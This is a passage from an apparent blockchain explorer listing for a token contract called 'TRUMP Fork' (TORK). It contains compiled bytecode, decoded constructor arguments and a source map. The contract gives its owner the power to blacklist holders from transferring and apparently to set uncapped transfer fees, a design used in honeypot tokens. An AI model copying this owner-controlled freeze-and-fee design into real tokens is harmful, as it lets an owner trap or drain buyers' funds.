0405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600090508473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b0157611afa6064611aec600a5486611ca590919063ffffffff16565b611cbb90919063ffffffff16565b9050611b83565b8373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b8257611b7f6064611b71600b5486611ca590919063ffffffff16565b611cbb90919063ffffffff16565b90505b5b6000811115611c8857611bde81600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c90919063ffffffff16565b600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7f9190611f3f565b60405180910390a35b611c9b8184611cd190919063ffffffff16565b9150509392505050565b60008183611cb39190612714565b905092915050565b60008183611cc9919061279d565b905092915050565b60008183611cdf91906127ce565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d21578082015181840152602081019050611d06565b83811115611d30576000848401525b50505050565b6000601f19601f8301169050919050565b6000611d5282611ce7565b611d5c8185611cf2565b9350611d6c818560208601611d03565b611d7581611d36565b840191505092915050565b60006020820190508181036000830152611d9a8184611d47565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611dd782611dac565b9050919050565b611de781611dcc565b8114611df257600080fd5b50565b600081359050611e0481611dde565b92915050565b6000819050919050565b611e1d81611e0a565b8114611e2857600080fd5b50565b600081359050611e3a81611e14565b92915050565b60008060408385031215611e5757611e56611da2565b5b6000611e6585828601611df5565b9250506020611e7685828601611e2b565b9150509250929050565b60008115159050919050565b611e9581611e80565b82525050565b6000602082019050611eb06000830184611e8c565b92915050565b6000819050919050565b6000611edb611ed6611ed184611dac565b611eb6565b611dac565b9050919050565b6000611eed82611ec0565b9050919050565b6000611eff82611ee2565b9050919050565b611f0f81611ef4565b82525050565b6000602082019050611f2a6000830184611f06565b92915050565b611f3981611e0a565b82525050565b6000602082019050611f546000830184611f30565b92915050565b600080600060608486031215611f7357611f72611da2565b5b6000611f8186828701611df5565b9350506020611f9286828701611df5565b9250506040611fa386828701611e2b565b9150509250925092565b600060208284031215611fc357611fc2611da2565b5b6000611fd184828501611df5565b91505092915050565b600060ff82169050919050565b611ff081611fda565b82525050565b600060208201905061200b6000830184611fe7565b92915050565b60006020828403121561202757612026611da2565b5b600061203584828501611e2b565b91505092915050565b61204781611dcc565b82525050565b6000602082019050612062600083018461203e565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261208d5761208c612068565b5b8235905067ffffffffffffffff8111156120aa576120a961206d565b5b6020830191508360208202830111156120c6576120c5612072565b5b9250929050565b6120d681611e80565b81146120e157600080fd5b50565b6000813590506120f3816120cd565b92915050565b60008060006040848603121561211257612111611da2565b5b600084013567ffffffffffffffff8111156121305761212f611da7565b5b61213c86828701612077565b9350935050602061214f868287016120e4565b9150509250925092565b600080604083850312156121705761216f611da2565b5b600061217e85828601611df5565b925050602061218f85828601611df5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806121e057607f821691505b602082108114156121f4576121f3612199565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612230602083611cf2565b915061223b826121fa565b602082019050919050565b6000602082019050818103600083015261225f81612223565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122cf82611e0a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561230257612301612295565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612369602683611cf2565b91506123748261230d565b604082019050919050565b600060208201905081810360008301526123988161235c565b9050919050565b6000815190506123ae81611dde565b92915050565b6000602082840312156123ca576123c9611da2565b5b60006123d88482850161239f565b91505092915050565b60006040820190506123f6600083018561203e565b612403602083018461203e565b9392505050565b600061241582611e0a565b915061242083611e0a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561245557612454612295565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006124bc602483611cf2565b91506124c782612460565b604082019050919050565b600060208201905081810360008301526124eb816124af565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061254e602283611cf2565b9150612559826124f2565b604082019050919050565b6000602082019050818103600083015261257d81612541565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125e0602583611cf2565b91506125eb82612584565b604082019050919050565b6000602082019050818103600083015261260f816125d3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612672602383611cf2565b915061267d82612616565b604082019050919050565b600060208201905081810360008301526126a181612665565b9050919050565b7f426c6f6367736c69737465640000000000000000000000000000000000000000600082015250565b60006126de600c83611cf2565b91506126e9826126a8565b602082019050919050565b6000602082019050818103600083015261270d816126d1565b9050919050565b600061271f82611e0a565b915061272a83611e0a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561276357612762612295565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006127a882611e0a565b91506127b383611e0a565b9250826127c3576127c261276e565b5b828204905092915050565b60006127d982611e0a565b91506127e483611e0a565b9250828210156127f7576127f6612295565b5b82820390509291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202cdf38ccffaa0a5dd882b6287a038bc09ed8fc220b0af34c1ec070300ff295f564736f6c63430008080033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000002faf08000000000000000000000000080495f97dfb8ca61ef0dc2683ab49dba1218e7e6000000000000000000000000000000000000000000000000000000000000000a5452554d5020466f726b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004544f524b00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063865541e7116100de578063c816841b11610097578063f1125f4611610071578063f1125f4614610478578063f2fde38b14610494578063f744bf22146104b0578063fa008d1b146104cc57610173565b8063c816841b1461040c578063dd62ed3e1461042a578063f0cd1dac1461045a57610173565b8063865541e7146103385780638da5cb5b1461035457806395d89b4114610372578063a457c2d714610390578063a9059cbb146103c0578063c492f046146103f057610173565b8063313ce56711610130578063313ce5671461026257806339509351146102805780635342acb4146102b057806370a08231146102e0578063715018a61461031057806382eefb431461031a57610173565b806306fdde0314610178578063095ea7b3146101965780631694505e146101c657806318160ddd146101e457806323b872dd14610202578063253f501c14610232575b600080fd5b6101806104d6565b60405161018d9190611d80565b60405180910390f35b6101b060048036038101906101ab9190611e40565b610568565b6040516101bd9190611e9b565b60405180910390f35b6101ce610586565b6040516101db9190611f15565b60405180910390f35b6101ec6105ac565b6040516101f99190611f3f565b60405180910390f35b61021c60048036038101906102179190611f5a565b6105b6565b6040516102299190611e9b565b60405180910390f35b61024c60048036038101906102479190611fad565b61068f565b6040516102599190611e9b565b60405180910390f35b61026a6106af565b6040516102779190611ff6565b60405180910390f35b61029a60048036038101906102959190611e40565b6106c6565b6040516102a79190611e9b565b60405180910390f35b6102ca60048036038101906102c59190611fad565b610779565b6040516102d79190611e9b565b60405180910390f35b6102fa60048036038101906102f59190611fad565b610799565b6040516103079190611f3f565b60405180910390f35b6103186107e2565b005b61032261086a565b60405161032f9190611f3f565b60405180910390f35b610352600480360381019061034d9190612011565b610870565b005b61035c6108f6565b604051610369919061204d565b60405180910390f35b61037a61091f565b6040516103879190611d80565b60405180910390f35b6103aa60048036038101906103a59190611e40565b6109b1565b6040516103b79190611e9b565b60405180910390f35b6103da60048036038101906103d59190611e40565b610a7e565b6040516103e79190611e9b565b60405180910390f35b61040a600480360381019061040591906120f9565b610a9c565b005b610414610bbd565b604051610421919061204d565b60405180910390f35b610444600480360381019061043f9190612159565b610be3565b6040516104519190611f3f565b60405180910390f35b610462610c6a565b60405161046f9190611f3f565b60405180910390f35b610492600480360381019061048d91906120f9565b610c70565b005b6104ae60048036038101906104a99190611fad565b610d91565b005b6104ca60048036038101906104c59190612011565b610e89565b005b6104d4610f0f565b005b6060600480546104e5906121c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610511906121c8565b801561055e5780601f106105335761010080835404028352916020019161055e565b820191906000526020600020905b81548152906001019060200180831161054157829003601f168201915b5050505050905090565b600061057c6105756113b2565b84846113ba565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600754905090565b60006105c3848484611585565b610684846105cf6113b2565b61067f8560405180606001604052806028815260200161282960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106356113b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c9092919063ffffffff16565b6113ba565b600190509392505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600660009054906101000a900460ff16905090565b600061076f6106d36113b2565b8461076a85600260006106e46113b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c90919063ffffffff16565b6113ba565b6001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea6113b2565b73ffffffffffffffffffffffffffffffffffffffff166108086108f6565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085590612246565b60405180910390fd5b61086860006119b1565b565b600b5481565b6108786113b2565b73ffffffffffffffffffffffffffffffffffffffff166108966108f6565b73ffffffffffffffffffffffffffffffffffffffff16146108ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e390612246565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461092e906121c8565b80601f016020809104026020016040519081016040528092919081815260200182805461095a906121c8565b80156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050905090565b6000610a746109be6113b2565b84610a6f8560405180606001604052806025815260200161285160259139600260006109e86113b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c9092919063ffffffff16565b6113ba565b6001905092915050565b6000610a92610a8b6113b2565b8484611585565b6001905092915050565b610aa46113b2565b73ffffffffffffffffffffffffffffffffffffffff16610ac26108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612246565b60405180910390fd5b60005b83839050811015610bb7578160036000868685818110610b3e57610b3d612266565b5b9050602002016020810190610b539190611fad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610baf906122c4565b915050610b1b565b50505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b610c786113b2565b73ffffffffffffffffffffffffffffffffffffffff16610c966108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce390612246565b60405180910390fd5b60005b83839050811015610d8b5781600d6000868685818110610d1257610d11612266565b5b9050602002016020810190610d279190611fad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d83906122c4565b915050610cef565b50505050565b610d996113b2565b73ffffffffffffffffffffffffffffffffffffffff16610db76108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0490612246565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e749061237f565b60405180910390fd5b610e86816119b1565b50565b610e916113b2565b73ffffffffffffffffffffffffffffffffffffffff16610eaf6108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc90612246565b60405180910390fd5b80600b8190555050565b610f176113b2565b73ffffffffffffffffffffffffffffffffffffffff16610f356108f6565b73ffffffffffffffffffffffffffffffffffffffff1614610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290612246565b60405180910390fd5b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff557600080fd5b505afa158015611009573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102d91906123b4565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110b157600080fd5b505afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e991906123b4565b6040518363ffffffff1660e01b81526004016111069291906123e1565b60206040518083038186803b15801561111e57600080fd5b505afa158015611132573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115691906123b4565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561139957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f557600080fd5b505afa158015611209573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122d91906123b4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112b157600080fd5b505afa1580156112c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e991906123b4565b6040518363ffffffff1660e01b81526004016113069291906123e1565b602060405180830381600087803b15801561132057600080fd5b505af1158015611334573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135891906123b4565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600081836113aa919061240a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611421906124d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149190612564565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115789190611f3f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec906125f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c90612688565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e9906126f4565b60405180910390fd5b61175e8160405180606001604052806026815260200161280360269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118445750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61185857611853848484611a75565b61185a565b815b90506118ae81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161194e9190611f3f565b60405180910390a350505050565b60008383111582906119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b9190611d80565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600090508473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b0157611afa6064611aec600a5486611ca590919063ffffffff16565b611cbb90919063ffffffff16565b9050611b83565b8373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b8257611b7f6064611b71600b5486611ca590919063ffffffff16565b611cbb90919063ffffffff16565b90505b5b6000811115611c8857611bde81600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c90919063ffffffff16565b600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c7f9190611f3f565b60405180910390a35b611c9b8184611cd190919063ffffffff16565b9150509392505050565b60008183611cb39190612714565b905092915050565b60008183611cc9919061279d565b905092915050565b60008183611cdf91906127ce565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d21578082015181840152602081019050611d06565b83811115611d30576000848401525b50505050565b6000601f19601f8301169050919050565b6000611d5282611ce7565b611d5c8185611cf2565b9350611d6c818560208601611d03565b611d7581611d36565b840191505092915050565b60006020820190508181036000830152611d9a8184611d47565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611dd782611dac565b9050919050565b611de781611dcc565b8114611df257600080fd5b50565b600081359050611e0481611dde565b92915050565b6000819050919050565b611e1d81611e0a565b8114611e2857600080fd5b50565b600081359050611e3a81611e14565b92915050565b60008060408385031215611e5757611e56611da2565b5b6000611e6585828601611df5565b9250506020611e7685828601611e2b565b9150509250929050565b60008115159050919050565b611e9581611e80565b82525050565b6000602082019050611eb06000830184611e8c565b92915050565b6000819050919050565b6000611edb611ed6611ed184611dac565b611eb6565b611dac565b9050919050565b6000611eed82611ec0565b9050919050565b6000611eff82611ee2565b9050919050565b611f0f81611ef4565b82525050565b6000602082019050611f2a6000830184611f06565b92915050565b611f3981611e0a565b82525050565b6000602082019050611f546000830184611f30565b92915050565b600080600060608486031215611f7357611f72611da2565b5b6000611f8186828701611df5565b9350506020611f9286828701611df5565b9250506040611fa386828701611e2b565b9150509250925092565b600060208284031215611fc357611fc2611da2565b5b6000611fd184828501611df5565b91505092915050565b600060ff82169050919050565b611ff081611fda565b82525050565b600060208201905061200b6000830184611fe7565b92915050565b60006020828403121561202757612026611da2565b5b600061203584828501611e2b565b91505092915050565b61204781611dcc565b82525050565b6000602082019050612062600083018461203e565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261208d5761208c612068565b5b8235905067ffffffffffffffff8111156120aa576120a961206d565b5b6020830191508360208202830111156120c6576120c5612072565b5b9250929050565b6120d681611e80565b81146120e157600080fd5b50565b6000813590506120f3816120cd565b92915050565b60008060006040848603121561211257612111611da2565b5b600084013567ffffffffffffffff8111156121305761212f611da7565b5b61213c86828701612077565b9350935050602061214f868287016120e4565b9150509250925092565b600080604083850312156121705761216f611da2565b5b600061217e85828601611df5565b925050602061218f85828601611df5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806121e057607f821691505b602082108114156121f4576121f3612199565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612230602083611cf2565b915061223b826121fa565b602082019050919050565b6000602082019050818103600083015261225f81612223565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122cf82611e0a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561230257612301612295565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612369602683611cf2565b91506123748261230d565b604082019050919050565b600060208201905081810360008301526123988161235c565b9050919050565b6000815190506123ae81611dde565b92915050565b6000602082840312156123ca576123c9611da2565b5b60006123d88482850161239f565b91505092915050565b60006040820190506123f6600083018561203e565b612403602083018461203e565b9392505050565b600061241582611e0a565b915061242083611e0a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561245557612454612295565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006124bc602483611cf2565b91506124c782612460565b604082019050919050565b600060208201905081810360008301526124eb816124af565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061254e602283611cf2565b9150612559826124f2565b604082019050919050565b6000602082019050818103600083015261257d81612541565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006125e0602583611cf2565b91506125eb82612584565b604082019050919050565b6000602082019050818103600083015261260f816125d3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612672602383611cf2565b915061267d82612616565b604082019050919050565b600060208201905081810360008301526126a181612665565b9050919050565b7f426c6f6367736c69737465640000000000000000000000000000000000000000600082015250565b60006126de600c83611cf2565b91506126e9826126a8565b602082019050919050565b6000602082019050818103600083015261270d816126d1565b9050919050565b600061271f82611e0a565b915061272a83611e0a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561276357612762612295565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006127a882611e0a565b91506127b383611e0a565b9250826127c3576127c261276e565b5b828204905092915050565b60006127d982611e0a565b91506127e483611e0a565b9250828210156127f7576127f6612295565b5b82820390509291505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202cdf38ccffaa0a5dd882b6287a038bc09ed8fc220b0af34c1ec070300ff295f564736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000002faf08000000000000000000000000080495f97dfb8ca61ef0dc2683ab49dba1218e7e6000000000000000000000000000000000000000000000000000000000000000a5452554d5020466f726b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004544f524b00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): TRUMP Fork
Arg [1] : symbol_ (string): TORK
Arg [2] : totalSupply_ (uint256): 50000000
Arg [3] : owner_ (address): 0x80495f97dfB8Ca61EF0dc2683ab49dba1218e7e6

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000002faf080
Arg [3] : 00000000000000000000000080495f97dfb8ca61ef0dc2683ab49dba1218e7e6
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 5452554d5020466f726b00000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 544f524b00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5023:6827:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6292:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7605:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5414:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6761:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7823:443;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5624:47;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6605:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8274:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5236:50;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6932:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1507:94;;;:::i;:::-;;5538:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10621:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1273:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6502:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8578:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7117:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10149:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5462:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7396:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5495:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10390:221;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1609:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10750:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10883:349;;;:::i;:::-;;6292:91;6337:13;6370:5;6363:12;;;;;:::i;:::